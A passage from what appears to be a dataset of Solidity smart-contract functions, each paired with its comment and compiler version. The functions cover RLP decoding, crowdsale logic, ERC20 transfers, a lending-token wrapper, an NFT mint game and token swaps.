assert(tokenContract.transfer( msg.sender, tokens));\r\n LogWithdrawTokens(msg.sender, tokens);\r\n }", "version": "0.4.18"} {"comment": "// Burn FRIES from account with approval", "function_code": "function burnFrom(address account, uint256 amount) external {\r\n uint256 currentAllowance = allowance(account, _msgSender());\r\n require(currentAllowance >= amount, \"ERC20: burn amount exceeds allowance\");\r\n unchecked {\r\n _approve(account, _msgSender(), currentAllowance - amount);\r\n }\r\n _burn(account, amount);\r\n }", "version": "0.8.7"} {"comment": "/*\n * @param item RLP encoded list in bytes\n */", "function_code": "function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) {\n require(isList(item));\n\n uint items = numItems(item);\n RLPItem[] memory result = new RLPItem[](items);\n\n uint memPtr = item.memPtr + _payloadOffset(item.memPtr);\n uint dataLen;\n for (uint i = 0; i < items; i++) {\n dataLen = _itemLength(memPtr);\n result[i] = RLPItem(dataLen, memPtr);\n memPtr = memPtr + dataLen;\n }\n\n return result;\n }", "version": "0.6.2"} {"comment": "// @return indicator whether encoded payload is a list. negate this function call for isData.", "function_code": "function isList(RLPItem memory item) internal pure returns (bool) {\n if(item.len == 0) return false;\n\n uint8 byte0;\n uint memPtr = item.memPtr;\n assembly {\n byte0 := byte(0, mload(memPtr))\n }\n\n if(byte0 < LIST_SHORT_START) return false;\n\n return true;\n }", "version": "0.6.2"} {"comment": "// @returns raw rlp encoding in bytes", "function_code": "function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {\n bytes memory result = new bytes(item.len);\n if (result.length == 0) return result;\n\n uint ptr;\n assembly {\n ptr := add(0x20, result)\n }\n\n copy(item.memPtr, ptr, item.len);\n return result;\n }", "version": "0.6.2"} {"comment": "// any non-zero byte is considered true", "function_code": "function toBoolean(RLPItem memory item) internal pure returns (bool) {\n require(item.len == 1);\n uint result;\n uint memPtr = item.memPtr;\n assembly {\n result := byte(0, mload(memPtr))\n }\n\n return result == 0 ? false : true;\n }", "version": "0.6.2"} {"comment": "// enforces 32 byte length", "function_code": "function toUintStrict(RLPItem memory item) internal pure returns (uint) {\n // one byte prefix\n require(item.len == 33);\n\n uint result;\n uint memPtr = item.memPtr + 1;\n assembly {\n result := mload(memPtr)\n }\n\n return result;\n }", "version": "0.6.2"} {"comment": "// @return number of payload items inside an encoded list.", "function_code": "function numItems(RLPItem memory item) private pure returns (uint) {\n if (item.len == 0) return 0;\n\n uint count = 0;\n uint currPtr = item.memPtr + _payloadOffset(item.memPtr);\n uint endPtr = item.memPtr + item.len;\n while (currPtr < endPtr) {\n currPtr = currPtr + _itemLength(currPtr); // skip over an item\n count++;\n }\n\n return count;\n }", "version": "0.6.2"} {"comment": "// @return entire rlp item byte length", "function_code": "function _itemLength(uint memPtr) private pure returns (uint) {\n uint itemLen;\n uint byte0;\n assembly {\n byte0 := byte(0, mload(memPtr))\n }\n\n if (byte0 < STRING_SHORT_START)\n itemLen = 1;\n\n else if (byte0 < STRING_LONG_START)\n itemLen = byte0 - STRING_SHORT_START + 1;\n\n else if (byte0 < LIST_SHORT_START) {\n assembly {\n let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is\n memPtr := add(memPtr, 1) // skip over the first byte\n\n /* 32 byte word size */\n let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len\n itemLen := add(dataLen, add(byteLen, 1))\n }\n }\n\n else if (byte0 < LIST_LONG_START) {\n itemLen = byte0 - LIST_SHORT_START + 1;\n }\n\n else {\n assembly {\n let byteLen := sub(byte0, 0xf7)\n memPtr := add(memPtr, 1)\n\n let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length\n itemLen := add(dataLen, add(byteLen, 1))\n }\n }\n\n return itemLen;\n }", "version": "0.6.2"} {"comment": "// @return number of bytes until the data", "function_code": "function _payloadOffset(uint memPtr) private pure returns (uint) {\n uint byte0;\n assembly {\n byte0 := byte(0, mload(memPtr))\n }\n\n if (byte0 < STRING_SHORT_START)\n return 0;\n else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START))\n return 1;\n else if (byte0 < LIST_SHORT_START) // being explicit\n return byte0 - (STRING_LONG_START - 1) + 1;\n else\n return byte0 - (LIST_LONG_START - 1) + 1;\n }", "version": "0.6.2"} {"comment": "/*\n * @param src Pointer to source\n * @param dest Pointer to destination\n * @param len Amount of memory to copy from the source\n */", "function_code": "function copy(uint src, uint dest, uint len) private pure {\n if (len == 0) return;\n\n // copy as many word sizes as possible\n for (; len >= WORD_SIZE; len -= WORD_SIZE) {\n assembly {\n mstore(dest, mload(src))\n }\n\n src += WORD_SIZE;\n dest += WORD_SIZE;\n }\n\n // left over bytes. Mask is used to remove unwanted bytes from the word\n uint mask = 256 ** (WORD_SIZE - len) - 1;\n assembly {\n let srcpart := and(mload(src), not(mask)) // zero out src\n let destpart := and(mload(dest), mask) // retrieve the bytes\n mstore(dest, or(destpart, srcpart))\n }\n }", "version": "0.6.2"} {"comment": "/**\r\n * Finalize a succcesful crowdsale.\r\n *\r\n * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens.\r\n */", "function_code": "function finalize() public inState(State.Success) onlyOwner stopInEmergency {\r\n\r\n // Already finalized\r\n if(finalized) {\r\n throw;\r\n }\r\n\r\n // Finalizing is optional. We only call it if we are given a finalizing agent.\r\n if(address(finalizeAgent) != 0) {\r\n finalizeAgent.finalizeCrowdsale();\r\n }\r\n\r\n finalized = true;\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Crowdfund state machine management.\r\n *\r\n * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale.\r\n */", "function_code": "function getState() public constant returns (State) {\r\n if(finalized) return State.Finalized;\r\n else if (address(finalizeAgent) == 0) return State.Preparing;\r\n else if (!finalizeAgent.isSane()) return State.Preparing;\r\n else if (!pricingStrategy.isSane(address(this))) return State.Preparing;\r\n else if (block.timestamp < startsAt) return State.PreFunding;\r\n else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;\r\n else if (isMinimumGoalReached()) return State.Success;\r\n else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;\r\n else return State.Failure;\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Set the contract that can call release and make the token transferable.\r\n *\r\n * Design choice. Allow reset the release agent to fix fat finger mistakes.\r\n */", "function_code": "function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {\r\n\r\n // We don't do interface check here as we might want to a normal wallet address to act as a release agent\r\n releaseAgent = addr;\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Calculate the current price for buy in amount.\r\n *\r\n * @param {uint amount} How many tokens we get\r\n */", "function_code": "function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {\r\n\r\n uint multiplier = 10 ** decimals;\r\n if (weiRaised > getSoftCapInWeis()) {\r\n //Here SoftCap is not active yet\r\n return value.times(multiplier) / convertToWei(hardCapPrice);\r\n } else {\r\n return value.times(multiplier) / convertToWei(softCapPrice);\r\n }\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Post crowdsale distribution process.\r\n *\r\n * Exposed as public to make it testable.\r\n */", "function_code": "function distribute(uint amount_raised_chf, uint eth_chf_price) {\r\n\r\n // Only crowdsale contract or owner (manually) can trigger the distribution\r\n if(!(msg.sender == address(crowdsale) || msg.sender == owner)) {\r\n throw;\r\n }\r\n\r\n // Distribute:\r\n // seed coins\r\n // foundation coins\r\n // team coins\r\n // future_round_coins\r\n\r\n future_round_coins = 486500484333000;\r\n foundation_coins = 291900290600000;\r\n team_coins = 324333656222000;\r\n seed_coins_vault1 = 122400000000000;\r\n seed_coins_vault2 = 489600000000000;\r\n\r\n token.mint(futureRoundVault, future_round_coins);\r\n token.mint(foundationWallet, foundation_coins);\r\n token.mint(teamVault, team_coins);\r\n token.mint(seedVault1, seed_coins_vault1);\r\n token.mint(seedVault2, seed_coins_vault2);\r\n }", "version": "0.4.8"} {"comment": "/// @dev Here you can set all the Vaults", "function_code": "function setVaults(\r\n address _futureRoundVault,\r\n address _foundationWallet,\r\n address _teamVault,\r\n address _seedVault1,\r\n address _seedVault2\r\n ) onlyOwner {\r\n futureRoundVault = _futureRoundVault;\r\n foundationWallet = _foundationWallet;\r\n teamVault = _teamVault;\r\n seedVault1 = _seedVault1;\r\n seedVault2 = _seedVault2;\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * @notice Transfer `amount` USDC from `msg.sender` to this contract, use them\r\n * to mint cUSDC, and mint dTokens with `msg.sender` as the beneficiary. Ensure\r\n * that this contract has been approved to transfer the USDC on behalf of the\r\n * caller.\r\n * @param usdcToSupply uint256 The amount of usdc to provide as part of minting.\r\n * @return The amount of dUSDC received in return for the supplied USDC.\r\n */", "function_code": "function mint(\r\n uint256 usdcToSupply\r\n ) external accrues returns (uint256 dUSDCMinted) {\r\n // Determine the dUSDC to mint using the exchange rate\r\n dUSDCMinted = usdcToSupply.mul(_SCALING_FACTOR).div(_dUSDCExchangeRate);\r\n\r\n // Pull in USDC (requires that this contract has sufficient allowance)\r\n require(\r\n _USDC.transferFrom(msg.sender, address(this), usdcToSupply),\r\n \"USDC transfer failed.\"\r\n );\r\n\r\n // Use the USDC to mint cUSDC (TODO: include error code in revert reason)\r\n require(_CUSDC.mint(usdcToSupply) == _COMPOUND_SUCCESS, \"cUSDC mint failed.\");\r\n\r\n // Mint dUSDC to the caller\r\n _mint(msg.sender, usdcToSupply, dUSDCMinted);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Redeem `dUSDCToBurn` dUSDC from `msg.sender`, use the corresponding\r\n * cUSDC to redeem USDC, and transfer the USDC to `msg.sender`.\r\n * @param dUSDCToBurn uint256 The amount of dUSDC to provide for USDC.\r\n * @return The amount of usdc received in return for the provided cUSDC.\r\n */", "function_code": "function redeem(\r\n uint256 dUSDCToBurn\r\n ) external accrues returns (uint256 usdcReceived) {\r\n // Determine the underlying USDC value of the dUSDC to be burned\r\n usdcReceived = dUSDCToBurn.mul(_dUSDCExchangeRate) / _SCALING_FACTOR;\r\n\r\n // Burn the dUSDC\r\n _burn(msg.sender, usdcReceived, dUSDCToBurn);\r\n\r\n // Use the cUSDC to redeem USDC (TODO: include error code in revert reason)\r\n require(\r\n _CUSDC.redeemUnderlying(usdcReceived) == _COMPOUND_SUCCESS,\r\n \"cUSDC redeem failed.\"\r\n );\r\n\r\n // Send the USDC to the redeemer\r\n require(_USDC.transfer(msg.sender, usdcReceived), \"USDC transfer failed.\");\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Redeem the dUSDC equivalent value of USDC amount `usdcToReceive` from\r\n * `msg.sender`, use the corresponding cUSDC to redeem USDC, and transfer the\r\n * USDC to `msg.sender`.\r\n * @param usdcToReceive uint256 The amount, denominated in USDC, of the cUSDC to\r\n * provide for USDC.\r\n * @return The amount of USDC received in return for the provided cUSDC.\r\n */", "function_code": "function redeemUnderlying(\r\n uint256 usdcToReceive\r\n ) external accrues returns (uint256 dUSDCBurned) {\r\n // Determine the dUSDC to redeem using the exchange rate\r\n dUSDCBurned = usdcToReceive.mul(_SCALING_FACTOR).div(_dUSDCExchangeRate);\r\n\r\n // Burn the dUSDC\r\n _burn(msg.sender, usdcToReceive, dUSDCBurned);\r\n\r\n // Use the cUSDC to redeem USDC (TODO: include error code in revert reason)\r\n require(\r\n _CUSDC.redeemUnderlying(usdcToReceive) == _COMPOUND_SUCCESS,\r\n \"cUSDC redeem failed.\"\r\n );\r\n\r\n // Send the USDC to the redeemer\r\n require(_USDC.transfer(msg.sender, usdcToReceive), \"USDC transfer failed.\");\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Transfer cUSDC in excess of the total dUSDC balance to a dedicated\r\n * \"vault\" account.\r\n * @return The amount of cUSDC transferred to the vault account.\r\n */", "function_code": "function pullSurplus() external accrues returns (uint256 cUSDCSurplus) {\r\n // Determine the cUSDC surplus (difference between total dUSDC and total cUSDC)\r\n cUSDCSurplus = _getSurplus();\r\n\r\n // Send the cUSDC surplus to the vault\r\n require(_CUSDC.transfer(_VAULT, cUSDCSurplus), \"cUSDC transfer failed.\");\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Transfer `amount` tokens from `sender` to `recipient` as long as\r\n * `msg.sender` has sufficient allowance.\r\n * @param sender address The account to transfer tokens from.\r\n * @param recipient address The account to transfer tokens to.\r\n * @param amount uint256 The amount of tokens to transfer.\r\n * @return A boolean indicating whether the transfer was successful.\r\n */", "function_code": "function transferFrom(\r\n address sender, address recipient, uint256 amount\r\n ) external returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n uint256 allowance = _allowances[sender][msg.sender];\r\n if (allowance != uint256(-1)) {\r\n _approve(sender, msg.sender, allowance.sub(amount));\r\n }\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice View function to get the dUSDC balance of an account, denominated in\r\n * its USDC equivalent value.\r\n * @param account address The account to check the balance for.\r\n * @return The total USDC-equivalent cUSDC balance.\r\n */", "function_code": "function balanceOfUnderlying(\r\n address account\r\n ) external returns (uint256 usdcBalance) {\r\n // Get most recent dUSDC exchange rate by determining accrued interest\r\n (uint256 dUSDCExchangeRate,,) = _getAccruedInterest();\r\n\r\n // Convert account balance to USDC equivalent using the exchange rate\r\n usdcBalance = _balances[account].mul(dUSDCExchangeRate) / _SCALING_FACTOR;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function to burn `amount` tokens by exchanging `exchanged`\r\n * tokens from `account` and emit corresponding `Redeeem` & `Transfer` events.\r\n * @param account address The account to burn tokens from.\r\n * @param exchanged uint256 The amount of underlying tokens given for burning.\r\n * @param amount uint256 The amount of tokens to burn.\r\n */", "function_code": "function _burn(address account, uint256 exchanged, uint256 amount) internal {\r\n uint256 balancePriorToBurn = _balances[account];\r\n require(\r\n balancePriorToBurn >= amount, \"Supplied amount exceeds account balance.\"\r\n );\r\n\r\n _totalSupply = _totalSupply.sub(amount);\r\n _balances[account] = balancePriorToBurn - amount; // overflow checked above\r\n\r\n emit Transfer(account, address(0), amount);\r\n emit Redeem(account, exchanged, amount);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function to move `amount` tokens from `sender` to\r\n * `recipient` and emit a corresponding `Transfer` event.\r\n * @param sender address The account to transfer tokens from.\r\n * @param recipient address The account to transfer tokens to.\r\n * @param amount uint256 The amount of tokens to transfer.\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _balances[sender] = _balances[sender].sub(amount);\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function to set the allowance for `spender` to transfer up\r\n * to `value` tokens on behalf of `owner`.\r\n * @param owner address The account that has granted the allowance.\r\n * @param spender address The account to grant the allowance.\r\n * @param value uint256 The size of the allowance to grant.\r\n */", "function_code": "function _approve(address owner, address spender, uint256 value) internal {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = value;\r\n emit Approval(owner, spender, value);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal, view-esque function to get the latest dUSDC and cUSDC\r\n * exchange rates for USDC and update the record of each in the event that they\r\n * have not already been updated in the given block.\r\n * @return The dUSDC and cUSDC exchange rate, as well as a boolean indicating if\r\n * interest accrual has been processed already or needs to be calculated and\r\n * placed in storage.\r\n */", "function_code": "function _getAccruedInterest() internal /* view */ returns (\r\n uint256 dUSDCExchangeRate, uint256 cUSDCExchangeRate, bool fullyAccrued\r\n ) {\r\n // Get the number of blocks since the last time interest was accrued\r\n uint256 blocksToAccrueInterest = block.number - _blockLastUpdated;\r\n fullyAccrued = (blocksToAccrueInterest == 0);\r\n\r\n // Skip calculation and read from storage if interest was accrued this block\r\n if (fullyAccrued) {\r\n dUSDCExchangeRate = _dUSDCExchangeRate;\r\n cUSDCExchangeRate = _cUSDCExchangeRate;\r\n } else {\r\n // Calculate the accrued interest over the period\r\n uint256 defaultInterest = _pow(_RATE_PER_BLOCK, blocksToAccrueInterest);\r\n\r\n // Retrieve the latest exchange rate for cUSDC\r\n cUSDCExchangeRate = _CUSDC.exchangeRateCurrent();\r\n\r\n // Calculate the accrued interest for Compound over the period\r\n uint256 cUSDCInterest = (\r\n cUSDCExchangeRate.mul(_SCALING_FACTOR).div(_cUSDCExchangeRate)\r\n );\r\n\r\n // Take the lesser of the two and use it to adjust the dUSDC exchange rate\r\n dUSDCExchangeRate = _dUSDCExchangeRate.mul(\r\n defaultInterest > cUSDCInterest ? cUSDCInterest : defaultInterest\r\n ) / _SCALING_FACTOR;\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal, view-esque function to get the total surplus, or cUSDC\r\n * balance that exceeds the total dUSDC balance.\r\n * @return The total surplus.\r\n */", "function_code": "function _getSurplus() internal /* view */ returns (uint256 cUSDCSurplus) {\r\n // Determine the total value of all issued dUSDC in USDC, rounded up\r\n uint256 dUSDCUnderlying = (\r\n _totalSupply.mul(_dUSDCExchangeRate) / _SCALING_FACTOR\r\n ).add(1);\r\n\r\n // Compare to total underlying USDC value of all cUSDC held by this contract\r\n uint256 usdcSurplus = (\r\n _CUSDC.balanceOfUnderlying(address(this)).sub(dUSDCUnderlying)\r\n );\r\n\r\n // Determine the cUSDC equivalent of this surplus amount\r\n cUSDCSurplus = usdcSurplus.mul(_SCALING_FACTOR).div(_cUSDCExchangeRate);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice View function to get the current dUSDC and cUSDC interest supply rate\r\n * per block (multiplied by 10^18).\r\n * @return The current dUSDC and cUSDC interest rates.\r\n */", "function_code": "function _getRatePerBlock() internal view returns (\r\n uint256 dUSDCSupplyRate, uint256 cUSDCSupplyRate\r\n ) {\r\n uint256 defaultSupplyRate = _RATE_PER_BLOCK.sub(_SCALING_FACTOR);\r\n cUSDCSupplyRate = _CUSDC.supplyRatePerBlock(); // NOTE: accrue on Compound first?\r\n dUSDCSupplyRate = (\r\n defaultSupplyRate < cUSDCSupplyRate ? defaultSupplyRate : cUSDCSupplyRate\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function to take `floatIn` (i.e. the value * 10^18) and\r\n * raise it to the power of `power` using \"exponentiation by squaring\" (see\r\n * Maker's DSMath implementation).\r\n * @param floatIn uint256 The value.\r\n * @param power address The power to raise the value by.\r\n * @return The specified value raised to the specified power.\r\n */", "function_code": "function _pow(uint256 floatIn, uint256 power) internal pure returns (uint256 floatOut) {\r\n floatOut = power % 2 != 0 ? floatIn : _SCALING_FACTOR;\r\n\r\n for (power /= 2; power != 0; power /= 2) {\r\n floatIn = (floatIn.mul(floatIn)).add(_HALF_OF_SCALING_FACTOR) / _SCALING_FACTOR;\r\n\r\n if (power % 2 != 0) {\r\n floatOut = (floatIn.mul(floatOut)).add(_HALF_OF_SCALING_FACTOR) / _SCALING_FACTOR;\r\n }\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns whether the target address is a contract.\r\n * @param _addr Address to check.\r\n * @return True if _addr is a contract, false if not.\r\n */", "function_code": "function isContract(\r\n address _addr\r\n )\r\n internal\r\n view\r\n returns (bool addressCheck)\r\n {\r\n uint256 size;\r\n\r\n /**\r\n * XXX Currently there is no better way to check if there is a contract in an address than to\r\n * check the size of the code at that address.\r\n * See https://ethereum.stackexchange.com/a/14016/36603 for more details about how this works.\r\n * TODO: Check this again before the Serenity release, because all addresses will be\r\n * contracts then.\r\n */\r\n assembly { size := extcodesize(_addr) } // solhint-disable-line\r\n addressCheck = size > 0;\r\n }", "version": "0.5.8"} {"comment": "/**\n * @dev Internal function to withdraw tokens from an account\n * @param _token ERC20 token to be withdrawn\n * @param _from Address where the tokens will be removed from\n * @param _to Address of the recipient that will receive the corresponding tokens\n * @param _amount Amount of tokens to be withdrawn from the sender\n */", "function_code": "function _withdraw(ERC20 _token, address _from, address _to, uint256 _amount) internal {\n require(_amount > 0, ERROR_WITHDRAW_AMOUNT_ZERO);\n uint256 balance = _balanceOf(_token, _from);\n require(balance >= _amount, ERROR_WITHDRAW_INVALID_AMOUNT);\n\n address tokenAddress = address(_token);\n // No need for SafeMath: checked above\n balances[tokenAddress][_from] = balance - _amount;\n emit Withdraw(_token, _from, _to, _amount);\n\n require(_token.safeTransfer(_to, _amount), ERROR_WITHDRAW_FAILED);\n }", "version": "0.5.8"} {"comment": "//transfer split", "function_code": "function _transfer_SPLIT(address sender, address recipient, uint256 amount) internal virtual{\r\n require(recipient == address(0), \"ERC20: transfer to the zero address\");\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\n * mint a token - 90% Llama, 10% Dog\n * The first 20% are free to claim, the remaining cost $DIAMOND\n */", "function_code": "function mintGame(uint256 amount, bool stake)\n internal\n whenNotPaused\n nonReentrant\n returns (uint16[] memory tokenIds)\n {\n require(tx.origin == _msgSender(), \"ONLY_EOA\");\n require(minted + amount <= MAX_TOKENS, \"MINT_ENDED\");\n require(amount > 0 && amount <= 15, \"MINT_AMOUNT_INVALID\");\n\n uint256 totalDiamondCost = 0;\n tokenIds = new uint16[](amount);\n uint256 seed;\n for (uint256 i = 0; i < amount; i++) {\n minted++;\n seed = random(minted);\n generate(minted, seed);\n _safeMint(stake ? address(staking) : _msgSender(), minted);\n tokenIds[i] = minted;\n totalDiamondCost += mintCost(minted);\n }\n\n if (totalDiamondCost > 0) {\n diamond.burn(_msgSender(), totalDiamondCost);\n diamond.updateOriginAccess();\n }\n if (stake) staking.addManyToStaking(_msgSender(), tokenIds);\n\n return tokenIds;\n }", "version": "0.8.7"} {"comment": "/**\n * 0 - 20% = eth\n * 20 - 40% = 200 DIAMONDS\n * 40 - 60% = 300 DIAMONDS\n * 60 - 80% = 400 DIAMONDS\n * 80 - 100% = 500 DIAMONDS\n * @param tokenId the ID to check the cost of to mint\n * @return the cost of the given token ID\n */", "function_code": "function mintCost(uint256 tokenId) public view returns (uint256) {\n if (tokenId <= PAID_TOKENS) return 0; // 1 / 5 = PAID_TOKENS\n if (tokenId <= (MAX_TOKENS * 2) / 5) return 200 ether;\n if (tokenId <= (MAX_TOKENS * 3) / 5) return 300 ether;\n if (tokenId <= (MAX_TOKENS * 4) / 5) return 400 ether;\n return 500 ether;\n }", "version": "0.8.7"} {"comment": "/**\n * generates traits for a specific token, checking to make sure it's unique\n * @param tokenId the id of the token to generate traits for\n * @param seed a pseudorandom 256 bit number to derive traits from\n * @return t - a struct of traits for the given token ID\n */", "function_code": "function generate(uint256 tokenId, uint256 seed)\n internal\n returns (LlamaDog memory t)\n {\n t = selectTraits(tokenId, seed);\n if (existingCombinations[structToHash(t)] == 0) {\n tokenTraits[tokenId] = t;\n existingCombinations[structToHash(t)] = tokenId;\n if (t.isLlama) {\n emit LlamaMinted(tokenId);\n } else {\n emit DogMinted(tokenId);\n }\n return t;\n }\n return generate(tokenId, random(seed));\n }", "version": "0.8.7"} {"comment": "/**\n * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup\n * ensuring O(1) instead of O(n) reduces mint cost by more than 50%\n * probability & alias tables are generated off-chain beforehand\n * @param seed portion of the 256 bit seed to remove trait correlation\n * @param traitType the trait type to select a trait for\n * @return the ID of the randomly selected trait\n */", "function_code": "function selectTrait(uint16 seed, uint8 traitType)\n internal\n view\n returns (uint8)\n {\n uint8 trait = uint8(seed) % uint8(rarities[traitType].length);\n // If a selected random trait probability is selected (biased coin) return that trait\n if (seed >> 8 <= rarities[traitType][trait]) return trait;\n return aliases[traitType][trait];\n }", "version": "0.8.7"} {"comment": "/**\n * checks if a token is a Wizards\n * @param tokenId the ID of the token to check\n * @return wizard - whether or not a token is a Wizards\n */", "function_code": "function isLlama(uint256 tokenId)\n external\n view\n override\n disallowIfStateIsChanging\n returns (bool)\n {\n // Sneaky dragons will be slain if they try to peep this after mint. Nice try.\n IDiamondHeist.LlamaDog memory s = tokenTraits[tokenId];\n return s.isLlama;\n }", "version": "0.8.7"} {"comment": "// -----------------\n// view function to get depositors list", "function_code": "function getDepositorsList(uint startIndex, uint endIndex)\r\n public\r\n view\r\n returns (address[] memory stakers,\r\n uint[] memory stakingTimestamps,\r\n uint[] memory lastClaimedTimeStamps,\r\n uint[] memory stakedTokens) {\r\n require (startIndex < endIndex);\r\n\r\n uint length = endIndex.sub(startIndex);\r\n address[] memory _stakers = new address[](length);\r\n uint[] memory _stakingTimestamps = new uint[](length);\r\n uint[] memory _lastClaimedTimeStamps = new uint[](length);\r\n uint[] memory _stakedTokens = new uint[](length);\r\n\r\n for (uint i = startIndex; i < endIndex; i = i.add(1)) {\r\n address staker = holders.at(i);\r\n uint listIndex = i.sub(startIndex);\r\n _stakers[listIndex] = staker;\r\n _stakingTimestamps[listIndex] = depositTime[staker];\r\n _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];\r\n _stakedTokens[listIndex] = depositTokenBalance[staker];\r\n }\r\n\r\n return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);\r\n }", "version": "0.6.11"} {"comment": "// emergency withdraw without interacting with uniswap", "function_code": "function emergencyWithdraw(uint amount) external noContractsAllowed nonReentrant payable {\r\n require(amount > 0, \"invalid amount!\");\r\n require(amount <= depositTokenBalance[msg.sender], \"Cannot withdraw more than deposited!\");\r\n require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, \"You recently deposited, please wait before withdrawing.\");\r\n \r\n updateAccount(msg.sender);\r\n \r\n depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount);\r\n totalDepositedTokens = totalDepositedTokens.sub(amount);\r\n \r\n uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));\r\n uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));\r\n require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, \"redeemUnderlying failed!\");\r\n uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));\r\n uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));\r\n \r\n uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance);\r\n uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance);\r\n \r\n require(cTokenRedeemed <= cTokenBalance[msg.sender], \"redeem exceeds balance!\");\r\n cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed);\r\n totalCTokens = totalCTokens.sub(cTokenRedeemed);\r\n decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed);\r\n \r\n totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived);\r\n \r\n uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100);\r\n uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount);\r\n \r\n IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee);\r\n \r\n // no uniswap interaction\r\n // handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline);\r\n // handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline);\r\n \r\n if (depositTokenBalance[msg.sender] == 0) {\r\n holders.remove(msg.sender);\r\n }\r\n \r\n emit Withdraw(msg.sender, depositTokenReceived);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * @dev Gets the conversion rate for the destToken given the srcQty.\r\n * @param srcToken source token contract address\r\n * @param srcQty amount of source tokens\r\n * @param destToken destination token contract address\r\n */", "function_code": "function getConversionRates(\r\n ERC20 srcToken,\r\n uint srcQty,\r\n ERC20 destToken\r\n ) public\r\n view\r\n returns (uint, uint, uint _proccessAmount)\r\n {\r\n uint minConversionRate;\r\n uint spl;\r\n uint tokenDecimal = destToken == ETH_TOKEN_ADDRESS ? 18 : destToken.decimals();\r\n (minConversionRate,spl) = kyberNetworkProxyContract.getExpectedRate(srcToken, destToken, srcQty);\r\n uint ProccessAmount = calProccessAmount(srcQty).mul(minConversionRate).div(10**tokenDecimal);\r\n return (minConversionRate, spl, ProccessAmount);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Swap the user's ERC20 token to another ERC20 token/ETH\r\n * @param srcToken source token contract address\r\n * @param srcQty amount of source tokens\r\n * @param destToken destination token contract address\r\n * @param destAddress address to send swapped tokens to\r\n * @param maxDestAmount address to send swapped tokens to\r\n */", "function_code": "function executeSwap(\r\n ERC20 srcToken,\r\n uint srcQty,\r\n ERC20 destToken,\r\n address destAddress,\r\n uint maxDestAmount,\r\n uint typeSwap\r\n ) public payable{\r\n uint minConversionRate;\r\n bytes memory hint;\r\n uint256 amountProccess = calProccessAmount(srcQty);\r\n if(typeSwap == 1) {\r\n // Check that the token transferFrom has succeeded\r\n require(srcToken.transferFrom(msg.sender, address(this), srcQty));\r\n\r\n // Mitigate ERC20 Approve front-running attack, by initially setting\r\n // allowance to 